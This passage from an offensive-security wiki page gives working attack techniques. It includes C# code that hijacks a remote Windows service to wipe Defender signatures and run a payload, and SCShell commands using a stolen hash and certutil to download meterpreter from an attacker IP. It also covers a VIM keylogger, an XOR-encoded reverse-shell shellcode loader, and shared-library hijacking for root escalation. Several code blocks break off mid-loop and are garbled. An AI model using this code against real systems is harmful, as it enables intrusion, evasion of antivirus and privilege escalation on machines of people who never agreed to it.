                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
